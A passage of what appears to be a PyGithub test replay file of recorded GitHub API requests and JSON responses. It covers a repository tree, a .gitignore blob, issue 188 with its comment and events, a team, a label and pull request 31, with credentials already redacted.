X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '43062d85-44e9-4b72-ba51-a94ccd029fd7'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '2784'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:41:05 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"feb5059cac897bdd13fd1205785f865c"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:12 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"sha":"6f7c2d8c66d78863f7b91792deaead619799a1ce","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/6f7c2d8c66d78863f7b91792deaead619799a1ce","tree":[{"mode":"100644","type":"blob","sha":"55cb5a84a96705c9b23dd6c9b5095aee9284b30a","path":".gitignore","size":83,"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/55cb5a84a96705c9b23dd6c9b5095aee9284b30a"},{"mode":"100644","type":"blob","sha":"d1258c3e8ccd002e6ec45473a8fdedc70137c569","path":".travis.yml","size":345,"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/d1258c3e8ccd002e6ec45473a8fdedc70137c569"},{"mode":"100644","type":"blob","sha":"94a9ed024d3859793618152ea559a168bbcbb5e2","path":"COPYING","size":35147,"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/94a9ed024d3859793618152ea559a168bbcbb5e2"},{"mode":"100644","type":"blob","sha":"65c5ca88a67c30becee01c5a8816d964b03862f9","path":"COPYING.LESSER","size":7651,"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/65c5ca88a67c30becee01c5a8816d964b03862f9"},{"mode":"100644","type":"blob","sha":"efbb5203c0bb41b4921999a301a5a35e06e9a8f2","path":"Contributing.md","size":969,"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/efbb5203c0bb41b4921999a301a5a35e06e9a8f2"},{"mode":"100644","type":"blob","sha":"1344507c245dd59bc972682cb43163176226c597","path":"ReadMe.md","size":4666,"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/1344507c245dd59bc972682cb43163176226c597"},{"mode":"040000","type":"tree","sha":"d612362a2609ca747a4d6526ae2cbdcd7df19600","path":"doc","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/d612362a2609ca747a4d6526ae2cbdcd7df19600"},{"mode":"040000","type":"tree","sha":"b19632adf7f22ba0561b5c2511cd61b904ede4ca","path":"github","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/b19632adf7f22ba0561b5c2511cd61b904ede4ca"},{"mode":"100755","type":"blob","sha":"f3adf2bddb82857f356e8b6a5ea1da8ea35a6c68","path":"publish.sh","size":942,"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/f3adf2bddb82857f356e8b6a5ea1da8ea35a6c68"},{"mode":"100644","type":"blob","sha":"609f912230aec315ba1d3c745e472fbc6393eefa","path":"python25-requirements.txt","size":23,"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/609f912230aec315ba1d3c745e472fbc6393eefa"},{"mode":"100644","type":"blob","sha":"9a23970d3adfeed83eec1d89fbe27062de0b1bfa","path":"python26-requirements.txt","size":10,"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/9a23970d3adfeed83eec1d89fbe27062de0b1bfa"},{"mode":"100755","type":"blob","sha":"0d8eea784e5bce67efd2f25c6ece0cd573896065","path":"setup.py","size":2481,"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/0d8eea784e5bce67efd2f25c6ece0cd573896065"}]} https GET api.github.com None /repos/jacquev6/PyGithub/git/blobs/681fb61f1761743a02f5c790f1c762cbfe8cfad1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4884'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'cc0f0761-fe8d-4ccc-bc23-3348ed8945d5'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '299'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"01162d231bc8dfd76e35f833ecebaa0e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:14 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"sha":"681fb61f1761743a02f5c790f1c762cbfe8cfad1","size":71,"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/681fb61f1761743a02f5c790f1c762cbfe8cfad1","content":"Ki5weWMKR2l0aHViQ3JlZGVudGlhbHMucHkKL2Rpc3QvCi9idWlsZC8KL01B\nTklGRVNUCi9QeUdpdGh1Yi5lZ2ctaW5mby8=\n","encoding":"base64"} https GET api.github.com None /repos/jacquev6/PyGithub/git/refs/tags/v1.17.0 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4883'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'eb4e50d0-67c7-41f4-977e-fd091a501b16'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '282'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:41:05 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"feb5059cac897bdd13fd1205785f865c"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:15 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"ref":"refs/tags/v1.17.0","url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/tags/v1.17.0","object":{"sha":"a08db4387b1294359e283f2a5c2c79584e23450f","type":"tag","url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags/a08db4387b1294359e283f2a5c2c79584e23450f"}} https GET api.github.com None /repos/jacquev6/PyGithub/issues/188 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4882'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '8ca72976-9b88-4917-8fd7-1aa29db18369'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '5443'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:51:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"654d1a29abe3a61b096e8bffbc61c162"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:21 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/188","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/188/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/188/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/188/events","html_url":"https://github.com/jacquev6/PyGithub/issues/188","id":17736533,"number":188,"title":"Getting the status of GitHub","user":{"login":"ruxandraburtica","id":797922,"avatar_url":"https://2.gravatar.com/avatar/5703c5907fc67b679be40fd307b07733?d=https%3A%2F%2Fidenticons.github.com%2F470a720db37e19afad67c34e30ffcd85.png","gravatar_id":"5703c5907fc67b679be40fd307b07733","url":"https://api.github.com/users/ruxandraburtica","html_url":"https://github.com/ruxandraburtica","followers_url":"https://api.github.com/users/ruxandraburtica/followers","following_url":"https://api.github.com/users/ruxandraburtica/following{/other_user}","gists_url":"https://api.github.com/users/ruxandraburtica/gists{/gist_id}","starred_url":"https://api.github.com/users/ruxandraburtica/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ruxandraburtica/subscriptions","organizations_url":"https://api.github.com/users/ruxandraburtica/orgs","repos_url":"https://api.github.com/users/ruxandraburtica/repos","events_url":"https://api.github.com/users/ruxandraburtica/events{/privacy}","received_events_url":"https://api.github.com/users/ruxandraburtica/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31/labels","id":402388,"number":31,"title":"Version 1.19.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":3,"state":"open","created_at":"2013-08-15T05:54:47Z","updated_at":"2013-09-06T09:42:02Z","due_on":null},"comments":2,"created_at":"2013-08-07T08:57:49Z","updated_at":"2013-09-06T09:11:57Z","closed_at":"2013-09-06T09:11:57Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Maybe I haven't found it, but it would be very useful to have methods for checking the status of the GitHub API (https://status.github.com/api)","closed_by":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"}} https GET api.github.com None /repos/jacquev6/PyGithub/issues/comments/22686536 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4881'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '49eb6041-cb09-423d-b769-6a927988ef00'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1396'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:51:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"654d1a29abe3a61b096e8bffbc61c162"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:22 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/22686536","html_url":"https://github.com/jacquev6/PyGithub/issues/188#issuecomment-22686536","issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/188","id":22686536,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://2.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"created_at":"2013-08-15T05:53:37Z","updated_at":"2013-08-15T05:53:37Z","body":"This seems to be a good idea! I will try to do it in the version after the next one."} https GET api.github.com None /repos/jacquev6/PyGithub/issues/188/events {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4880'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '67185958-5c65-481a-b8fd-86d28ceea272'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '3480'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:51:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"654d1a29abe3a61b096e8bffbc61c162"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:23 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] [{"id":60946408,"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/60946408","actor":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"event":"assigned","commit_id":null,"created_at":"2013-08-15T05:55:32Z"},{"id":64178794,"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/64178794","actor":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"event":"referenced","commit_id":"c819580ce872f251e8ec23deee95d9fb15ca19c9","created_at":"2013-09-06T09:05:10Z"},{"id":64179485,"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/64179485","actor":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"event":"closed","commit_id":null,"created_at":"2013-09-06T09:11:57Z"}] https GET api.github.com None /gitignore/templates/Python {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4879'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '8276ab6d-803c-4421-9a34-ecc99ff8ddec'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '367'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"7870725c2e426a0c93146449ebc6f176"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:26 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"name":"Python","source":"*.py[cod]\n\n# C extensions\n*.so\n\n# Packages\n*.egg\n*.egg-info\ndist\nbuild\neggs\nparts\nbin\nvar\nsdist\ndevelop-eggs\n.installed.cfg\nlib\nlib64\n\n# Installer logs\npip-log.txt\n\n# Unit test / coverage reports\n.coverage\n.tox\nnosetests.xml\n\n# Translations\n*.mo\n\n# Mr Developer\n.mr.developer.cfg\n.project\n.pydevproject\n"} https GET api.github.com None /teams/141487 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4878'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '7cb4a0fc-0363-4bfb-b09e-68f426c6e359'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '276'), ('server', 'GitHub.com'), ('last-modified', 'Sat, 20 Oct 2007 11:24:19 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"a4af9b5fe3ebc7d9ec2ecd4a637a4863"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:27 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"name":"Owners","id":141487,"slug":"owners","permission":"admin","url":"https://api.github.com/teams/141487","members_url":"https://api.github.com/teams/141487/members{/member}","repositories_url":"https://api.github.com/teams/141487/repos","members_count":1,"repos_count":1} https GET api.github.com None /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4877'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'ebdad7b3-e224-4923-a10e-2db7e1e75530'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '97'), ('server', 'GitHub.com'), ('last-modified', 'Sat, 20 Oct 2007 11:24:19 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"a4af9b5fe3ebc7d9ec2ecd4a637a4863"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:28 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"} https GET api.github.com None /repos/jacquev6/PyGithub/pulls/31 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4876'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '571ddd42-66bf-460c-a9a5-bb5f62ffe987'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '11337'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:51:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"654d1a29abe3a61b096e8bffbc61c162"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:29 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31","id":1436215,"html_url":"https://github.com/jacquev6/PyGithub/pull/31","diff_url":"https://github.com/jacquev6/PyGithub/pull/31.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/31.patch","issue_url":"https://github.com/jacquev6/PyGithub/pull/31","number":31,"state":"closed","title":"Title edited by PyGithub","user":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"body":"Body edited by PyGithub","created_at":"2012-05-27T09:25:36Z","updated_at":"2012-11-03T08:19:40Z","closed_at":"2012-05-27T10:29:07Z","merged_at":"2012-05-27T10:29:07Z","merge_commit_sha":"28ae6dd10ebccd5eaf8db8dacb5b699ee7f4a663","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":null,"commits_url":"https://github.com/jacquev6/PyGithub/pull/31/commits","review_comments_url":"https://github.com/jacquev6/PyGithub/pull/31/comments","review_comment_url":"/repos/jacquev6/PyGithub/pulls/comments/{number}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/31/comments","head":{"label":"BeaverSoftware:master","ref":"master","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","user":{"login":"BeaverSoftware","id":1424031,"avatar_url":"https://2.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https%3A%2F%2Fidenticons.github.com%2Fde8dec416975d0a85845b1b88385b9d5.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization"},"repo":null},"base":{"label":"jacquev6:topic/RewriteWithGeneratedCode","ref":"topic/RewriteWithGeneratedCode","sha":"ed866fc43833802ab553e5ff8581c81bb00dd433","user":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"repo":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.githu